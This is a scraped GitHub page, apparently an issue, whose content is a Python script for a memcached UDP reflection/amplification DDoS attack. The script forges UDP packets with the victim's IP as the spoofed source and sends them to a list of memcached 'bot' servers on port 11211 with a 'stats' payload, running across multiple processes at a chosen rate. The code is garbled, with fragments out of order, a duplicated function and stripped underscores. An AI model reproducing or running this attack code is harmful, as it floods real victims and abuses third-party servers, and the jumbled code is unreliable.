You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
while time.time() - start_time < duration:
server = random.choice(bots)
server = server.strip()
try:
packet = (
IP(dst=server, src=target_ip)
/ UDP(sport=int(target_port), dport=11211)
/ Raw(load=payload)
)
send(packet, verbose=False)
time.sleep(len(packet) / bytes_per_sec)
except Exception as e:
print(
f"{Fore.MAGENTA}Error while sending forged UDP packet\n{Fore.MAGENTA}{e}{Fore.RESET}"
)
else:
print(
f"{Fore.GREEN}[+] {Fore.YELLOW}Sent forged UDP packet from bot {server} to {'{}:{}'.format(*target)}.{Fore.RESET}"
)
def send2attack(target_ip, target_port, duration, rate_mbps, num_processes):
processes = []
for _ in range(num_processes):
mp = multiprocessing.Process(target=attack, args=(target_ip, target_port, duration, rate_mbps))
mp.daemon = True # Set daemon to True for automatic termination when the main program exits
processes.append(mp)
mp.start()
import sys
import random
import time
import multiprocessing
from scapy.all import IP, UDP, send, Raw
from colorama import Fore
Load Bots list
with open("botmemcached.txt", "r") as f:
bots = f.readlines()
Payload
payload = "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"
def attack(target_ip, target_port, duration, rate_mbps):
target = (target_ip, int(target_port))
start_time = time.time()
bytes_per_sec = rate_mbps * 1024 * 1024 / 8
def send2attack(target_ip, target_port, duration, rate_mbps, num_processes):
processes = []
for _ in range(num_processes):
mp = multiprocessing.Process(target=attack, args=(target_ip, target_port, duration, rate_mbps))
mp.daemon = True # Set daemon to True for automatic termination when the main program exits
processes.append(mp)
mp.start()
def main():
if len(sys.argv) != 6:
print("Usage: python3 memcached.py <target_ip> <target_port> <duration_in_seconds> <rate_mbps> <num_processes>")
sys.exit(1)
if name == "main":
main()
The text was updated successfully, but these errors were encountered: